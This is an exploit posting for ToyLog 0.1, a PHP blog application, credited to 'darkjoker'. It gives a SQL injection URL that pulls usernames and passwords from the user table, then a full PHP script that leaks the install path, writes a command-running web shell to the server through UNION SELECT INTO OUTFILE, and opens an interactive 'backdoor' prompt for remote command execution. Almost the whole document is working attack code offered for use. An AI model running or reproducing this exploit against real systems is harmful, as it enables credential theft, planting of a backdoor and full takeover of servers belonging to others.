ToyLog 0.1 SQL Injection / Code Execution

`--+++=====================================================================================+++--  
--+++====== ToyLog 0.1 SQL Injection Vulnerability/Remote Command Execution Exploit ======+++--  
--+++=====================================================================================+++--  
  
[+] SQL Injection Vulnerability  
Url: http://localhost/ToyLog/read.php?idm=1%20UNION%20ALL%20SELECT%201,username,password,4%20FROM%20user  
  
[+] Remote Command Execution Exploit  
  
#!/usr/bin/php  
<?php  
  
function usage () {  
exit ( "\n".  
"+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n".  
"- -\n".  
"+ ToyLog 0.1 Remote Command Execution Exploit +\n".  
"- Author : darkjoker -\n".  
"+ Site : http://darkjoker.net23.net +\n".  
"- Download: http://sourceforge.net/projects/toylog/ -\n".  
"+ Usage : php xpl.php <url> +\n".  
"- Ex. : php xpl.php http://localhost/ToyLog/ -\n".  
"+ +\n".  
"-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-\n".  
"\n");  
}  
  
function hex_format ($string) {  
$i=0;  
while ($i<strlen($string))   
$hex .= "%".dechex(ord($string[$i++]));  
return $hex;  
}  
  
function get_path ($host, $dir) {  
$fp = fsockopen ($host, 80);  
$query = hex_format ("1 UNION ALL SELECT * FROM does_not_exist");  
$req = "GET {$dir}read.php?idm={$query} HTTP/1.1\r\n".  
"Host: {$host}\r\n".  
"Connection: Close\r\n\r\n";  
fputs ($fp, $req);  
while (!feof ($fp))   
if (preg_match ("|resource in <b>(.+?)</b> on|", fgets ($fp, 1024), $data))  
$path = $data [1];  
list ($path) = explode ("block/db.php", $path);  
fclose ($fp);  
return $path;  
}  
  
function upload_shell ($host, $dir) {  
$fp = fsockopen ($host, 80);  
$shell_path = get_path ($host, $dir)."shell.php";  
if (!strcmp ($shell_path, "shell.php"))  
die ("[-] Exploit failed.\n");  
$query = hex_format('1 UNION ALL SELECT 1,2,\'xxx<?php system (stripslashes($_GET[\\\'cmd\\\'])); ?>xxx\',4 INTO OUTFILE \''.$shell_path.'\' FROM post');  
$req = "GET {$dir}read.php?idm={$query} HTTP/1.1\r\n".  
"Host: {$host}\r\n".  
"Connection: Close\r\n\r\n";  
fputs ($fp, $req);  
fclose ($fp);  
}  
  
if (!preg_match ("|http://(.+?)(/.+/)|", $argv [1], $data))  
usage ();  
array_shift ($data);  
list ($host, $dir) = $data;  
upload_shell ($host, $dir);  
$stdin = fopen ("php://stdin", "r");  
while (1) {  
echo "backdoor@{$host}: ";  
$cmd = hex_format(trim (fgets ($stdin, 1024)));  
if (!strcmp ($cmd, hex_format("exit")))  
break;  
$out = explode ("xxx", file_get_contents ("http://{$host}{$dir}shell.php?cmd={$cmd}"));  
array_shift ($out);  
array_pop ($out);  
echo $out [0];  
}  
  
?>  
  
`